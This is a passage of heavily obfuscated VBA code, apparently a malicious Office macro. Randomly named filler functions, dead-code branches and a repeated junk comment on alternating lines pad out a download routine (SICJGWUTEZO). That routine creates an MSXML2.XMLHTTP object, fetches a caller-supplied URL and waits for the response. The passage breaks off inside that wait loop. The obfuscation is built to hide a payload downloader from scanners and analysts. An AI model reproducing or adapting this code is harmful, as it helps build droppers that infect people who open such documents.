  292. HLPIIVTAZZ85 = Asc(CFDXQJQKGH71)
  293. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  294. If HIJIGBPYGJ22 > HLPIIVTAZZ85 Then
  295. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  296.    For LGCIYXOMTH92 = 1 To 17
  297. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  298.       SGSNPEJWZZ27 = HLPIIVTAZZ85 + LGCIYXOMTH92
  299. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  300.    Next LGCIYXOMTH92
  301. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  302. SGSNPEJWZZ27 = SGSNPEJWZZ27 + HIJIGBPYGJ22
  303. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  304. CNYXTJTDZA34 = CStr(SGSNPEJWZZ27)
  305. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  306. AWLCZFOYTG52 = Mid$(CNYXTJTDZA34, 1, 4)
  307. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  308. MXIGYWLUAA76 = MXIGYWLUAA76 & "67"
  309. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  310. DUWFBAWUCE25 = CInt(Mid$(MXIGYWLUAA76, 2, 6))
  311. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  312. Else
  313. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  314. DUWFBAWUCE25 = 17 + 4956
  315. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  316. MsgBox ("LLXVNXKLEP15")
  317. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  318. End Function
  319. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  320.  
  321. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  322. Public Function QLAZYZXGNG28() As Integer
  323. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  324. Dim EAUYXPATEA34, CWYSGHFKWG67, OLUIHTUGIZ22, PCPWBEYWHF97 As String
  325. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  326. Dim ZTGNGQQSKN23, XBFTIJBBPF46, IXGAOYKXVA91, PAKGKRKZTD86 As Integer
  327. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  328. ZTGNGQQSKN23 = 5248
  329. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  330. EAUYXPATEA34 = A
  331. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  332. XBFTIJBBPF46 = Asc(EAUYXPATEA34)
  333. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  334. If ZTGNGQQSKN23 > XBFTIJBBPF46 Then
  335. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  336.    For IXGAOYKXVA91 = 1 To 38
  337. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  338.       PAKGKRKZTD86 = XBFTIJBBPF46 + IXGAOYKXVA91
  339. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  340.    Next IXGAOYKXVA91
  341. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  342. PAKGKRKZTD86 = PAKGKRKZTD86 + ZTGNGQQSKN23
  343. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  344. CWYSGHFKWG67 = CStr(PAKGKRKZTD86)
  345. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  346. OLUIHTUGIZ22 = Mid$(CWYSGHFKWG67, 1, 4)
  347. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  348. PCPWBEYWHF97 = PCPWBEYWHF97 & "42"
  349. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  350. QLAZYZXGNG28 = CInt(Mid$(PCPWBEYWHF97, 2, 6))
  351. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  352. Else
  353. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  354. QLAZYZXGNG28 = 38 + 5248
  355. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  356. MsgBox ("IYXQWYDESW36")
  357. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  358. End Function
  359. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  360.  
  361. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  362. Public Function WZZGALLYDR24() As Integer
  363. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  364. Dim UKSVJUJHWL76, VOIGKHJLER94, KQCUXXNWNJ28, FWYNRNLMDY75 As String
  365. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  366. Dim FUBNVNFGNJ37, JZSNWCJIET21, PRAKNRNONK69, LPLASMGMLE92 As Integer
  367. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  368. FUBNVNFGNJ37 = 1552
  369. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  370. UKSVJUJHWL76 = R
  371. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  372. JZSNWCJIET21 = Asc(UKSVJUJHWL76)
  373. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  374. If FUBNVNFGNJ37 > JZSNWCJIET21 Then
  375. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  376.    For PRAKNRNONK69 = 1 To 72
  377. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  378.       LPLASMGMLE92 = JZSNWCJIET21 + PRAKNRNONK69
  379. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  380.    Next PRAKNRNONK69
  381. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  382. LPLASMGMLE92 = LPLASMGMLE92 + FUBNVNFGNJ37
  383. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  384. VOIGKHJLER94 = CStr(LPLASMGMLE92)
  385. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  386. KQCUXXNWNJ28 = Mid$(VOIGKHJLER94, 1, 4)
  387. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  388. FWYNRNLMDY75 = FWYNRNLMDY75 & "67"
  389. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  390. WZZGALLYDR24 = CInt(Mid$(FWYNRNLMDY75, 2, 6))
  391. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  392. Else
  393. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  394. WZZGALLYDR24 = 72 + 1552
  395. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  396. MsgBox ("ZYSFHSMEGD22")
  397. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  398. End Function
  399. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  400.  
  401. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  402. Function SICJGWUTEZO(ByVal IYDOISAYNTH As String, ByVal PAUINJYOMZI As String) As Boolean
  403. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  404.     Dim JGNEZQPKOWX As Object, ZSIJJVHVMOQ As Long, LSCOYILUQNP As Long, APXADSKJDFK() As Byte
  405. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  406.  
  407. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  408. Dim XNYGLSTU, LNHAFHEI, FANDIMNO As String
  409. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  410. If 733761 = 733761 + 1 Then End
  411. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  412. If 7234 < 37 Then
  413. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  414.        MsgBox ("THZEXUJP89")
  415. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  416. End If
  417. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  418. If Len("ZQOLSOKQ8974") = Len("EGSYMIKK") Then
  419. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  420.       MsgBox ("ERROR !!!")
  421. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  422. End If
  423. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  424. XNYGLSTU = "           KATBAB               "
  425. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  426.  
  427. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  428. If 882124 = 882124 + 1 Then End
  429. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  430. If 2875 < 22 Then
  431. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  432.        MsgBox ("MAEZBMUZ66")
  433. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  434. End If
  435. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  436. If Len("AJYNIFEW3626") = Len("WPYYZLHO") Then
  437. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  438.       MsgBox ("ERROR !!!")
  439. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  440. End If
  441. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  442. LNHAFHEI = LTrim(XNYGLSTU)
  443. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  444.  
  445. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  446. If 563444 = 563444 + 1 Then End
  447. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  448. If 1747 < 58 Then
  449. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  450.        MsgBox ("LYYGVWLY62")
  451. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  452. End If
  453. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  454. If Len("CSJSEJYN2598") = Len("QMQOIEIW") Then
  455. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  456.       MsgBox ("ERROR !!!")
  457. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  458. End If
  459. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  460. FANDIMNO = RTrim(LNHAFHEI)
  461. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  462.  
  463. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  464.  
  465. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  466. If 824984 = 824984 + 1 Then End
  467. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  468. If 8782 < 82 Then
  469. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  470.        MsgBox ("ENUPGQRT36")
  471. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  472. End If
  473. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  474. If Len("PHQOVEBX9632") = Len("TOPFJIDP") Then
  475. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  476.       MsgBox ("ERROR !!!")
  477. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  478. End If
  479. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  480.    Set JGNEZQPKOWX = CreateObject("MSXML2.XMLHTTP")
  481. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  482.  
  483. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  484.    JGNEZQPKOWX.Open "GET", IYDOISAYNTH, False
  485. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  486. Dim VOIMFDDX, ERHHAIRF, OBCQFEWY As String
  487. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  488. If 837757 = 837757 + 1 Then End
  489. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  490. If 3977 < 85 Then
  491. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  492.        MsgBox ("FHEZVLJV75")
  493. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  494. End If
  495. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  496. If Len("RNRPNRUY4827") = Len("YRIVIATD") Then
  497. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  498.       MsgBox ("ERROR !!!")
  499. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  500. End If
  501. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  502. VOIMFDDX = "           UVHEDS               "
  503. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  504.  
  505. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  506. If 362137 = 362137 + 1 Then End
  507. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  508. If 9469 < 97 Then
  509. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  510.        MsgBox ("NMLGDQJX79")
  511. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  512. End If
  513. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  514. If Len("FWAWQCBU1229") = Len("IFNNTZSW") Then
  515. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  516.       MsgBox ("ERROR !!!")
  517. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  518. End If
  519. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  520. ERHHAIRF = LTrim(VOIMFDDX)
  521. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  522.  
  523. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  524. If 692234 = 692234 + 1 Then End
  525. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  526. If 3595 < 91 Then
  527. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  528.        MsgBox ("BNXASSEN42")
  529. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  530. End If
  531. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  532. If Len("INMNVZUG7768") = Len("PEXDUNYW") Then
  533. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  534.       MsgBox ("ERROR !!!")
  535. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  536. End If
  537. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  538. OBCQFEWY = RTrim(ERHHAIRF)
  539. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  540.  
  541. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  542.  
  543. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  544. If 935728 = 935728 + 1 Then End
  545. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  546. If 6195 < 64 Then
  547. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  548.        MsgBox ("PTQMVMKD47")
  549. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  550. End If
  551. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  552. If Len("BTLAXYNC7956") = Len("LBLYHQDQ") Then
  553. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  554.       MsgBox ("ERROR !!!")
  555. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  556. End If
  557. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  558.    JGNEZQPKOWX.SEND "send REQUEST"
  559. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  560.  
  561. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  562.  
  563. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  564.    Do While JGNEZQPKOWX.READYSTATE <> 4
  565. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  566. Dim VESJLSLT, DLKMVCTD, GRYGIWGI As String
  567. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  568. If 555829 = 555829 + 1 Then End
  569. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  570. If 8348 < 58 Then
  571. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  572.        MsgBox ("LRFPQSYZ62")
  573. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  574. End If
  575. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
